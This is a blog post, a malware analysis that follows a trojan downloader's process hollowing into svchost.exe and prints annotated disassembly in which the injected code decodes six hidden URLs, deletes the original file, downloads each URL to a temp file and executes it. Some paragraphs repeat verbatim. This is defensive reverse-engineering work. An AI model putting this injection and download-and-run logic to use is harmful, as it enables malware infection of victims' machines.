In my last post I mentioned that a process was created with the command line arguments set to "svchost.exe ". In addition to this, the creation flags of the process are set to CREATE_SUSPENDED, and the first argument (lpApplicationName) is set to 0 which means that the module name to be ran must be the first token of the command line arguments (http://msdn.microsoft.com/en-us/library/ms682425(VS.85,printer).aspx).
Furthermore, since the creation flags are set to CREATE_SUSPENDED, the main thread of the new process will not run until a call to ResumeThread is made.
Let's assume that we have the PID of the new process (after the call to create process) since it will be needed later.
Following the process creation there is a call to VirtualAllocEx which will allocate 0x15000 bytes in the address space of the new process, starting at address 0x15160000.
Afterwards the allocated memory is written to, this time 0x15000 bytes starting at 0x15160000 in the current process will be copied to the address space of the created process starting at address 0x15160000.
Before the call to the ResumeThread function, the thread context of the newly created process is changed. The thread context is obtained from a call to GetThreadContext, and the _EIP field is changed to address 0x15161703, and only then is the process resumed.
With this in mind I assumed that the child process would resume at 0x15161703, so in order to test this, I patched the first two bytes at 0x15161703 to EBFE (the explanation is here by RolfRolles), attached the debugger to the running process and indeed the process is stuck in an infinite loop. Since we don't have any names in the attached debugger, instead of going through with the call to ResumeThread (in the original debugging session) we can change EIP register to point to 0x15161703 and see what the child process would do.
This is the beggining of the function:
Furthermore, since the creation flags are set to CREATE_SUSPENDED, the main thread of the new process will not run until a call to ResumeThread is made.
Let's assume that we have the PID of the new process (after the call to create process) since it will be needed later.
Following the process creation there is a call to VirtualAllocEx which will allocate 0x15000 bytes in the address space of the new process, starting at address 0x15160000.
Afterwards the allocated memory is written to, this time 0x15000 bytes starting at 0x15160000 in the current process will be copied to the address space of the created process starting at address 0x15160000.
Before the call to the ResumeThread function, the thread context of the newly created process is changed. The thread context is obtained from a call to GetThreadContext, and the _EIP field is changed to address 0x15161703, and only then is the process resumed.
With this in mind I assumed that the child process would resume at 0x15161703, so in order to test this, I patched the first two bytes at 0x15161703 to EBFE (the explanation is here by RolfRolles), attached the debugger to the running process and indeed the process is stuck in an infinite loop. Since we don't have any names in the attached debugger, instead of going through with the call to ResumeThread (in the original debugging session) we can change EIP register to point to 0x15161703 and see what the child process would do.
This is the beggining of the function:
UPX0:15161703 child1_begin_execution_addr: UPX0:15161703 push offset aUser32_dll UPX0:15161708 call k32_LoadLibraryA UPX0:1516170E call k32_FreeConsole UPX0:15161714 push 15170CC4h UPX0:15161719 push 105h UPX0:1516171E call k32_GetTempPathA UPX0:15161724 push offset aUrlmon_dll UPX0:15161729 call k32_LoadLibraryA UPX0:1516172F UPX0:1516172F loc_1516172F: UPX0:1516172F call k32_GetCommandLineA UPX0:15161735 add eax, 0Ch
Since we are now emulating what the child process would have done, we have to take into consideration that our command line arguments are different. Namely we don't have svchost.exe in our command line. In addition to this, the GetCommandLine will return a string in the format: '"path"' instead of 'svchost.exe path', so we will have to change the byte pointed to by eax to 00, change the last byte of the string from '"' to 0, increment eax, and set all the references to the original value of eax to eax+1 (otherwise they would point to the '"' at the beggining of the string). In addition to this, we have to either set EIP so that it jumps over the add eax, 0Ch instruction, or subtract 0xC from eax (since our string doesn't begin with 'svchost.exe ').
0xC350 bytes are then read from the trojan file
UPX0:15161738 push eax UPX0:15161739 pop trimmedCommandLine UPX0:1516173F push 0 UPX0:15161741 push 80h UPX0:15161746 push 3 UPX0:15161748 push 0 UPX0:1516174A push 3 UPX0:1516174C push 80000000h UPX0:15161751 push trimmedCommandLine UPX0:15161757 call k32_CreateFileA UPX0:1516175D mov fileHandle, eax UPX0:15161762 push 0 UPX0:15161764 push offset unk_151708B8 UPX0:15161769 push 0C350h UPX0:1516176E push offset fileBuffer UPX0:15161773 push fileHandle UPX0:15161779 call k32_readfile UPX0:1516177F push fileHandle UPX0:15161785 call k32_CloseHandle
and we will search the value 0xA7C6B453 ^ 0xCC (0xA7C6B453 being the value held at dword_151631DC):
UPX0:1516178B mov eax, dword_151631DC UPX0:15161790 xor al, 0CCh UPX0:15161792 mov edi, offset fileBuffer UPX0:15161797 push 2710h UPX0:1516179C pop ecx UPX0:1516179D repne scasd UPX0:1516179F mov al, [edi] UPX0:151617A1 inc edi UPX0:151617A2 mov ecx, [edi] UPX0:151617A4 add edi, 4 UPX0:151617A7 push edi UPX0:151617A8 push 0 UPX0:151617AA push eax UPX0:151617AB push ecx UPX0:151617AC push edi
The next function called will rebuild the addresses from where files are to be downloaded:
UPX0:151617AD call sub_151616C8 UPX0:151617B2 pop edi UPX0:151617B3 push edi UPX0:151617B4 pop download_urls1
After the call to sub_151616C8 download_urls1 holds the address of the first url (out of 6).
and our orinal trojan is deleted:
UPX0:151617BA push trimmedCommandLine UPX0:151617C0 call k32_DeleteFileA UPX0:151617C6 or eax, eax UPX0:151617C8 jz loc_1516172F
Each of the urls will be used to download information to a temporary file, and this file will be executed:
UPX0:151617CE push download_urls1 UPX0:151617D4 push offset current_url UPX0:151617D9 call k32_lstrcpy UPX0:151617DF push download_urls1 UPX0:151617E5 pop ebx UPX0:151617E6 push ebx UPX0:151617E7 pop download_urls2 UPX0:151617ED UPX0:151617ED loc_151617ED: UPX0:151617ED mov eax, 0 UPX0:151617F2 push offset tempFileName UPX0:151617F7 push 0 UPX0:151617F9 push 0 UPX0:151617FB push offset TempPath UPX0:15161800 call j_kernel32_GetTempFileNameA UPX0:15161805 push 0 UPX0:15161807 push 0 UPX0:15161809 push offset tempFileName UPX0:1516180E push offset current_url UPX0:15161813 push 0 UPX0:15161815 call urlmon_dll_URLDownloadToFileA UPX0:1516181B +mov startupinfo.dwFlags, 1 UPX0:15161825 +mov startupinfo.wShowWindow, 0Ah UPX0:1516182E push offset lpPROCESS_INFORMATION UPX0:15161833 push offset startupinfo UPX0:15161838 push 0 UPX0:1516183A push 0 UPX0:1516183C push 0 UPX0:1516183E push 0 UPX0:15161840 push 0 UPX0:15161842 push 0 UPX0:15161844 push offset tempFileName UPX0:15161849 push 0 UPX0:1516184B call k32_CreateProcessA UPX0:15161851 push 0 UPX0:15161853 pop eax UPX0:15161854 mov ebx, download_urls2 UPX0:1516185A UPX0:1516185A GoToNextUrl: UPX0:1516185A inc ebx UPX0:1516185B mov al, [ebx] UPX0:1516185D cmp al, 0 UPX0:1516185F jnz short GoToNextUrl UPX0:15161861 nop UPX0:15161862 inc ebx UPX0:15161863 mov al, [ebx] UPX0:15161865 cmp al, 0 UPX0:15161867 jz short loc_15161886 UPX0:15161869 push ebx UPX0:1516186A pop download_urls2 UPX0:15161870 push download_urls2 UPX0:15161876 push offset current_url UPX0:1516187B call k32_lstrcpy UPX0:15161881 jmp loc_151617ED UPX0:15161886 UPX0:15161886 loc_15161886: UPX0:15161886 push 0 UPX0:15161888 call k32_ExitProcess UPX0:1516188E retn
No comments:
Post a Comment